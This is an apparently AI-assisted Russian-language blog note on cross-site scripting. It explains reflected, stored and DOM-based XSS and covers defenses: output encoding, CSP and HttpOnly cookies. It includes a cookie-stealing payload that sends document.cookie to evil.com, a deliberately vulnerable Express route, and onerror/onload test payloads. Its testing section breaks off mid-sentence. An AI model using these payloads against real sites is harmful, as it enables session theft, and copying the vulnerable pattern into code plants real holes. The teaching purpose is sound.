arrow_backНазад к полевым заметкам
WEB SECURITY Опубликовано 9 Aug 2026

Cross-Site Scripting: почему XSS всё ещё опасен в 2024

Практический разбор reflected, stored и DOM-based XSS, способы их эксплуатации и реальные методы защиты.

XSS входит в OWASP Top 10 уже два десятилетия, и это одна из первых вещей, которые проверяет пентестер. Баг просто объяснить и сложно полностью закрыть: атакующий запускает свой JavaScript в браузере жертвы под происхождением вашего сайта. Как только это происходит, он может читать cookie, подделывать запросы или просто переписать страницу перед пользователем.

Три типа

Reflected XSS — классическая атака с фишинг-ссылкой. Поисковая страница берет ?q= из URL и выводит его прямо в HTML без кодирования. Отправьте кому-нибудь ссылку вроде https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> и если они кликнут по ней в залогиненном состоянии, их сессионный cookie попадёт к атакующему.

Stored XSS опаснее, потому что не требует ссылки вообще. Поле комментария, биография профиля, описание тикета поддержки — везде, где пользовательский ввод сохраняется и позже отображается другим пользователям. Выложите payload один раз и каждый посетитель, который посмотрит эту страницу, будет скомпрометирован, без социальной инженерии.

DOM-based XSS существует полностью на клиентском коде. Сервер никогда не видит вредоносный payload; это JavaScript читает что-то вроде location.hash или document.referrer и вставляет это в innerHTML или eval(). Этот тип сбивает с толку, потому что логирование на стороне сервера выглядит полностью чистым.

Откуда это берётся на практике

Большинство XSS багов сводятся к одной ошибке: обработка недоверенных данных как доверенной разметки или кода. Типичные места в JavaScript, где нужна осторожность: innerHTML, outerHTML, document.write, eval, setTimeout со строковым аргументом и jQuery .html(). На стороне сервера шаблонизаторы, которые не экранируют по умолчанию (простая конкатенация строк в HTML), — обычный виновник.

Быстрый пример из реальной жизни: Node/Express приложение, которое делает

app.get('/greet', (req, res) => {
  res.send(`<h1>Hello ${req.query.name}</h1>`);
});

имеет немедленный reflected XSS. req.query.name идёт прямо в ответ без кодирования. Кто-то, кто откроет /greet?name=<img src=x onerror=alert(document.domain)>, докажет это за пару секунд.

Реальное решение

Контекстно-зависимое кодирование вывода — реальное решение, не костыль. HTML тело, HTML атрибут, JavaScript строка и URL контексты требуют разных правил кодирования — библиотека вроде OWASP Java Encoder или встроенное автоэкранирование в шаблонизаторах типа Jinja2, React JSX или Handlebars справляются с этим правильно. React в частности экранирует текстовое содержимое по умолчанию, вот почему dangerouslySetInnerHTML называется именно так: это предупреждающий ярлык.

Валидация входных данных помогает, но недостаточна сама по себе. Блокирование тегов <script> обходится постоянно — <img src=x onerror=...>, <svg onload=...> или обработчики событий почти на любом теге работают. Allowlist ожидаемых форматов (регулярное выражение для email, числовой ID) нормален как вторичный уровень, но не заменяет правильное кодирование вывода.

Content-Security-Policy — сильнейший слой защиты в глубину, который доступен. Политика вроде

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';

блокирует встроенные скрипты и сторонние источники скриптов, если они не явно помечены nonce или не добавлены в allowlist, что останавливает большинство XSS payload даже если они пройдут кодирование. Избегайте unsafe-inline и unsafe-eval в production CSP; они нейтрализуют большую часть защиты.

Устанавливайте cookie с флагами HttpOnly и Secure, чтобы даже успешный XSS не мог прочитать сессионный cookie напрямую через document.cookie. Это не останавливает инъекцию, но значительно ограничивает радиус поражения.

Тестирование самостоятельно

Активный сканер Burp Suite ловит много reflected и stored XSS автоматически, но ручное тестирование всё ещё важно для DOM-based случаев. Инструменты вроде собственного набора тестов DOMPurify или просто поиск по кодовой базе innerHTML = и eval( найдут удивительное количество проблем быстро. Для ручной проверки payload

Написано с помощью ИИ, проверено и опубликовано Михалом Пильхом (CISSP), Korra Studio.

Готовы пойти дальше?

Это одна заметка из базы знаний Korra Studio — платформа сочетает каждую тему с наставничеством один на один.

Начать бесплатноarrow_forward